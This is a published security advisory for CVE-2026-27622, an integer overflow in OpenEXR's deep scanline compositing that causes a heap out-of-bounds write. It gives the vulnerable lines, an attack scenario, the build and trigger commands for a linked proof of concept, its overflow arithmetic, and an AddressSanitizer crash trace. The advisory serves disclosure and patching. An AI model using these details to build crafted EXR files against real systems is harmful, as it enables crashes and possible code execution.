GHSA-CR4V-6JM6-4963
Vulnerability from github – Published: 2026-03-02 18:30 – Updated: 2026-03-04 02:00Summary
Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).
Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp):
- total_sizes[ptr] += counts[j][ptr]; (line ~511)
- overall_sample_count += total_sizes[ptr]; (line ~514)
- samples[channel].resize (overall_sample_count); (line ~535)
Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in generic_unpack_deep_pointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).
Attack scenario:
- Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.
- Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.
- The overflow happens in composite sample accounting (unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.
Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0
Steps to reproduce
composite_deepscanline_poc_bundle.patch
PoC files used:
- Writer/generator: poc/composite_deep_scanline_e2e_compressed_poc.cpp
- Minimal high-level reader harness: poc/simple_exr_reader.cpp
The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.
Build with ASAN/UBSAN:
cmake -S . -B build-asan \
-DOPENEXR_BUILD_POC=ON \
-DCMAKE_BUILD_TYPE=RelWithDebInfo \
-DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
-DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
-DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'
cmake --build build-asan --target composite_writer simple_exr_reader -j
Generate malicious file (decode-path focused profile):
ASAN_OPTIONS=detect_leaks=0 timeout 180s \
./build-asan/poc/composite_writer \
--profile low-ram \
--file /tmp/composite_decode_focus.exr
Trigger:
ASAN_OPTIONS=detect_leaks=0 timeout 30s \
./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr
ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.
Example runs
Writer (abbrev):
❯ ./build-asan/poc/composite_writer
exploit math:
benign samples : 300
malicious parts : 86
malicious samples per part : 50000000
true total samples : 4300000300
uint32 overflow reached : yes
wrapped uint32 total : 5033004
composite Z/A alloc from wrap : 40264032 bytes (38.40 MiB)
per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)
Reader ASAN crash:
❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
#0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
#1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
#2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816
#3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568
#4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576
#5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
#6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
#8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)
0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)
allocated by thread T0 here:
#0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
#1 0x7ed1dbc29600 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
#2 0x7ed1dbc29600 in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
#3 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
#4 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378
#5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663
#6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016
#7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535
#8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
#9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
#11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers
Shadow bytes around the buggy address:
0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==175024==ABORTING
Root cause analysis
In CompositeDeepScanLine::readPixels:
- Per-pixel totals are accumulated in
vector<unsigned int> total_sizes. - For attacker-controlled large counts across many parts,
total_sizes[ptr]wraps modulo2^32. overall_sample_countis then derived from wrapped totals and used insamples[channel].resize(overall_sample_count).- Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (
generic_unpack_deep_pointers) overrun the undersized composite sample buffer.
Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.
Impact
Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "OpenEXR"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "3.2.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "OpenEXR"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "OpenEXR"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27622"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T18:30:20Z",
"nvd_published_at": "2026-03-03T23:15:55Z",
"severity": "HIGH"
},
"details": "## Summary\n\nFunction: `CompositeDeepScanLine::readPixels`, reachable from high-level multipart deep read flows (`MultiPartInputFile` + `DeepScanLineInputPart` + `CompositeDeepScanLine`).\n\nVulnerable lines (`src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp`):\n- `total_sizes[ptr] += counts[j][ptr];` (line ~511)\n- `overall_sample_count += total_sizes[ptr];` (line ~514)\n- `samples[channel].resize (overall_sample_count);` (line ~535)\n\nImpact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in `generic_unpack_deep_pointers` (`src/lib/OpenEXRCore/unpack.c:1374`) (DoS/Crash, memory corruption/RCE).\n\nAttack scenario:\n- Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.\n- Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.\n- The overflow happens in composite sample accounting (`unsigned int`), while pointer progression for decode uses larger counters and reaches out-of-bounds.\n\nTested on: `OpenEXR 4.0.0-dev` (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0\n\n## Steps to reproduce\n\n[composite_deepscanline_poc_bundle.patch](https://github.com/user-attachments/files/25383205/composite_deepscanline_poc_bundle.patch)\n\nPoC files used:\n- Writer/generator: `poc/composite_deep_scanline_e2e_compressed_poc.cpp`\n- Minimal high-level reader harness: `poc/simple_exr_reader.cpp`\n\nThe reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select `DEEPSCANLINE`, add sources to `CompositeDeepScanLine`, bind a normal `FrameBuffer`, then call `readPixels`.\n\nBuild with ASAN/UBSAN:\n\n```bash\ncmake -S . -B build-asan \\\n -DOPENEXR_BUILD_POC=ON \\\n -DCMAKE_BUILD_TYPE=RelWithDebInfo \\\n -DCMAKE_C_FLAGS=\u0027-fsanitize=address,undefined -fno-omit-frame-pointer\u0027 \\\n -DCMAKE_CXX_FLAGS=\u0027-fsanitize=address,undefined -fno-omit-frame-pointer\u0027 \\\n -DCMAKE_EXE_LINKER_FLAGS=\u0027-fsanitize=address,undefined\u0027 \\\n -DCMAKE_SHARED_LINKER_FLAGS=\u0027-fsanitize=address,undefined\u0027\n\ncmake --build build-asan --target composite_writer simple_exr_reader -j\n```\n\nGenerate malicious file (decode-path focused profile):\n\n```bash\nASAN_OPTIONS=detect_leaks=0 timeout 180s \\\n ./build-asan/poc/composite_writer \\\n --profile low-ram \\\n --file /tmp/composite_decode_focus.exr\n```\n\nTrigger:\n\n```bash\nASAN_OPTIONS=detect_leaks=0 timeout 30s \\\n ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr\n```\n\nASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.\n\n## Example runs\n\nWriter (abbrev):\n\n```bash\n\u276f ./build-asan/poc/composite_writer\nexploit math:\n benign samples : 300\n malicious parts : 86\n malicious samples per part : 50000000\n true total samples : 4300000300\n uint32 overflow reached : yes\n wrapped uint32 total : 5033004\n composite Z/A alloc from wrap : 40264032 bytes (38.40 MiB)\n per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)\n min parts to overflow (current benign/samples): 86\nwriting compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr\nwriting donor malicious part (50000000 samples)\ncopying malicious part 1/86 from donor chunk\n...\nfile size: 26112896 bytes (24.90 MiB)\n```\n\nReader ASAN crash:\n\n```bash\n\u276f ./build-asan/poc/simple_exr_reader\nreading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts\n=================================================================\n==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670\nWRITE of size 4 at 0x7ed1a55d90b0 thread T0\n #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374\n #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664\n #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816\n #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const\u0026, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568\n #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576\n #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88\n #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360\n #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)\n\n0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)\nallocated by thread T0 here:\n #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95\n #1 0x7ed1dbc29600 in std::__new_allocator\u003cfloat\u003e::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151\n #2 0x7ed1dbc29600 in std::allocator_traits\u003cstd::allocator\u003cfloat\u003e \u003e::allocate(std::allocator\u003cfloat\u003e\u0026, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482\n #3 0x7ed1dbc29600 in std::_Vector_base\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381\n #4 0x7ed1dbc29600 in std::_Vector_base\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378\n #5 0x7ed1dbc29600 in std::vector\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663\n #6 0x7ed1dbc00184 in std::vector\u003cfloat, std::allocator\u003cfloat\u003e \u003e::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016\n #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535\n #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88\n #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360\n #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers\nShadow bytes around the buggy address:\n 0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=\u003e0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa\n 0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07\n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n==175024==ABORTING\n```\n\n## Root cause analysis\n\nIn `CompositeDeepScanLine::readPixels`:\n\n1. Per-pixel totals are accumulated in `vector\u003cunsigned int\u003e total_sizes`.\n2. For attacker-controlled large counts across many parts, `total_sizes[ptr]` wraps modulo `2^32`.\n3. `overall_sample_count` is then derived from wrapped totals and used in `samples[channel].resize(overall_sample_count)`.\n4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (`generic_unpack_deep_pointers`) overrun the undersized composite sample buffer.\n\n\nAllocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.\n\n## Impact\n\nHeap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.",
"id": "GHSA-cr4v-6jm6-4963",
"modified": "2026-03-04T02:00:10Z",
"published": "2026-03-02T18:30:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-cr4v-6jm6-4963"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27622"
},
{
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/openexr"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenEXR\u0027s CompositeDeepScanLine integer-overflow leads to heap OOB write"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.